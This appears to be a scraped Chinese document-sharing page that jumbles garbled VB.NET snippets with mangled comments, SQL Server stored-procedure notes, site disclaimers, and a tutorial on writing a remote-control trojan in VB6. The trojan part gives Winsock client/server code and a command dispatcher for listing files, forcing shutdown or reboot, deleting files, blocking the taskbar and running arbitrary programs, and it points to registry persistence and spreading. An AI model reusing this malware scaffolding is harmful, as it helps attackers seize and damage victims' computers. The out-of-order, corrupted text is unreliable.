")="'将?显?示?何?种?计?算?的?内ú容╕转羇换?为a字?符?串?ElseIf RadioButton3.Checked = True Thena = Math.Tan(b)c = "Tan(" & TextBox1.Text & ")="'将?显?示?何?种?计?算?的?内ú容╕转羇换?为a字?符?串?End Ifa = Math.Round(a, 6) '结á果?四?舍Θ?五?入?a = Format(a, "0.000000") '保馈?证¤纯?小?数簓输?出?前°面?有瓺"0."符?号?显?示?,注痢?意癮a是?变?体?变?量?Label2.Text = c & aEnd SubEnd Class让图片不断转换Public Class Form1Dim i As IntegerPrivate Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickTimer1.Enabled = Truei = 0End SubPrivate Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.TickIf i = 0 ThenPictureBox1.Image = PictureBox2.Imagei = 1ElsePictureBox1.Image = PictureBox3.Imagei = 0End IfIf Label1.Left < 0 ThenLabel1.Left = Me.WidthElseLabel1.Left = Label1.Left - 30End IfEnd SubEnd Class选图调控比例Public Class Form1Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.LoadButton4.Enabled = FalseButton2.Enabled = FalseButton3.Enabled = FalseButton1.Image = My.Resources.CRDFLE12Button2.Image = My.Resources.EYEButton3.Image = My.Resources.ARW09RTButton4.Image = My.Resources.KEY06End SubPrivate Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickPictureBox1.SizeMode = PictureBoxSizeMode.ZoomPictureBox1.Image = My.Resources.R1Button4.Enabled = TrueButton2.Enabled = TrueButton3.Enabled = TrueEnd SubPrivate Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.ClickForm2.PictureBox1.Image = My.Resources.R1Form2.Show()End SubPrivate Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)Handles Button3.ClickPictureBox3.Image = PictureBox1.ImagePictureBox3.Image.RotateFlip(RotateFlipType.Rotate90FlipNone)End SubPrivate Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.ClickDim x As Integerx = Val(InputBox("设Θ?置?缩?小?比括?x="))PictureBox2.SizeMode = PictureBoxSizeMode.CenterImagePictureBox2.Image = PictureBox1.ImagePictureBox3.SizeMode = PictureBoxSizeMode.StretchImagePictureBox3.Height = PictureBox1.Image.Height / xPictureBox3.Width = PictureBox1.Image.Width / xPictureBox3.Image = PictureBox1.ImageEnd SubEnd Class。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
⑷ 使用存储过程可以减少网络传输时间。如果有一千条 Transact-SQL 语句的命令,一条一条地通过网络在客户机和服 务器之间传送,那么这种传输所耗费的时间将很长。但是,如果把这一千条 Transact-SQL 语句的命令写成一条较为复杂的 存储过程命令,这时在客户机和服务器之间网络传输所需的时间就会大大减少。
另外,当客户机端断开与服务器端的来接后,服务器端应用 tcpServer_Close 事件,来继续准备接收客户机端的请求, 其代码如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。 至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。 源代码 下载
当参数类型为 cursor 时,必须使用关键字 VARYING 和 OUTPUT。VARYING 表示结果集可以是一个输出参数,其内 容是动态的。该关键字只能在使用游标作为数据类型时使用。关键字 OUTPUT 表示这是一个输出参数,可以把存储过程执 行的结果信息返回应用程序。
default 用于指定参数的默认值。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用来破 坏别人的系统。
__________________________________________________________________________________________________________ __________________________________________________________________________________________________________
首先使用 VB 建立两个程序,一个为客户端程序 Client,一个为服务器端程序 systry。 在 Client 工程中建立一个窗体,加载 WinSock 控件,称为 tcpClient,协议选择 TCP,再加入两个文本框,用以输入服 务器的 IP 地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下: Private Sub cmdConnect_Click() If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then MsgBox ("请输入主机名或主机 IP 地址。") Exit Sub Else If Len(Text1.Text) > 0 Then tcpClient.RemoteHost = Text1.Text Else tcpClient.RemoteHost = Text2.Text End If End If tcpClient.Connect Timer1.Enabled = True End Sub 连接建立之后就可以使用 DataArrival 事件处理所收到的数据了。 在服务器端 systry 工程也建立一个窗体,加载 WinSock 控件,称为 tcpServer,协议选择 TCP,在 Form_Load 事件中加 入如下代码: Private Sub Form_Load() tcpServer.LocalPort = 1999 tcpServer.Listen
1、创建存储过程的方法
在 Transact-SQL 语言中,创建存储过程可以使用 CREATE PROCEDURE 语句,其语法形式如下:
CREAT[;number] [{@parameter data_type}[VARYING][=default][OUTPUT] ]],…n] [WITH{RECOMPILE|ENCRYPTION|RECOMPILE,ENCRYPTION}] [FOR REPLICATION] AS sql_statement[…n]
浅谈用 VB6.0 编写木马程序
现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的 C/S 结构,目前也有一些开始向 B/S 结构转变, 在这里暂且不对 B/S 结构进行详谈,本文主要介绍 C/S 结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权 限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它 了。下面来谈谈如何用 VB 来实现它。
tcpServer.Accept requestID
End Sub 这样在客户端程序按下了连接按钮后,服务器端程序的 ConnectionRequest 事件被触发,执行了以上的代码。如果不出 意外,连接就被建立起来了。 建立连接后服务器端的程序通过 DataArrival 事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱 动器名、目录名、文件名等传到客户机端,客户机端接收后用 TreeView 控件以树状的形式显示出来,浏览服务器端文件目 录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删 除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进 程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输 入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival 事件程序如 下:
For i = 1 To Len(strData) '分离 strData 中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
'把命令 ID 号存入 mKey '把命令参数存入 strData strData = Right(strData, Len(strData) - i) Exit For End If Next i Select Case Val(mKey) Case 1 ‘驱动器名、目录名、文件名 Case 2 强制关闭服务器端的计算机 Case 3 强制重启服务器端的计算机 Case 4 屏蔽任务栏窗口; Case 5 屏蔽开始菜单; Case 6 按照客户机端传过来的文件名或目录名,而删除它; Case 7 屏蔽热启动键; Case 8 运行服务器端的任何程序 End Select End Sub 客户机端用 tcpClient.SendData 发命令。命令包括命令 ID 和命令参数,它们用符号“@”隔开。
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim i As Long
Dim mKey As String
tcpServer.GetData strData '接收数据并存入 strData
procedure_name 是该存储过程的名称,名称可以是任何符合命名规则的标示符。名称后的[;number]参数表示可以定义 一系列的存储过程名称,这些存储过程的数量由 number 指定。
参数名称可以使用@parameter data_type 来指定。在 Transact-SQL 语言中,用户定义的参数名称前面加"@"符号,这些 数据类型是 Transact-SQL 语言允许的各种数据类型,包括系统提供的数据类型和用户定义的数据类型。
End Sub 准备应答客户端程序的请求连接,使用 ConnectionRequest 事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State < > sckClosed Then tcpServer.Close‘检查控件的 State 属性是否为关闭的。 End If '如果不是,在接受新的连接之前先关闭此连接。
2、存储过程的优点
在频繁访问数据库的系统中,开发者都乐于使用存储过程,这与存储过程的下列优点是分不开的。
⑴ 存储过程可以与其他应用程序共享应用程序的逻辑,从而确保一致的数据访问和操纵。
⑵ 存储过程提供了一种安全机制。如果用户被授予执行存储过程权限,那么即使该用户没有访问在执行该存储过程中 所参考的表或视图的权限,该用户也可以完全执行该存储过程而不受到影响。因此,可以创建存储过程来完成所有的增加、 删除等操作,并且可以通过编程控制上述操作中对信息的访问权限。
RECOMPILE 选项表示重新编译该存储过程。该选项只是在需要的时候才使用,例如经常需要改变数据库模式时。
ENCRYPTION 选项用来加密创建存储过程的文本,防止他人查看。
选项 FOR REPLICATION 主要用于复制过程中。注意,该选项不能和选项 RECOMPILE 同时使用。
AS 是一个关键字,表示其后的内容是存储过程的语句。参数 sql-statement[…n]表示在一个存储过程中可以包含多个 Transact-SQL 语句。
SQL Server 2000 数据库存储过程的调用
VB 作为当今应用极为普遍的数据库客户端开发工具之一,对客户端应用程序调用服务器端存储过程提供了强大的支 持。特别是随着 VB6.0 的推出,VB 客户端应用程序可以方便地利用 ADO 的对象和集合来实现对数据库存储过程的调用。
在笔者编写的科技档案管理系统中,就是采用 VB 作为开发平台,采用 SQL Server2000 数据库管理数据,在这个科技 档案管理系统中有海量的数据,并且对数据库有频繁的访问,利用存储过程访问数据库节省了执行时间,大大提高了系统 的性能。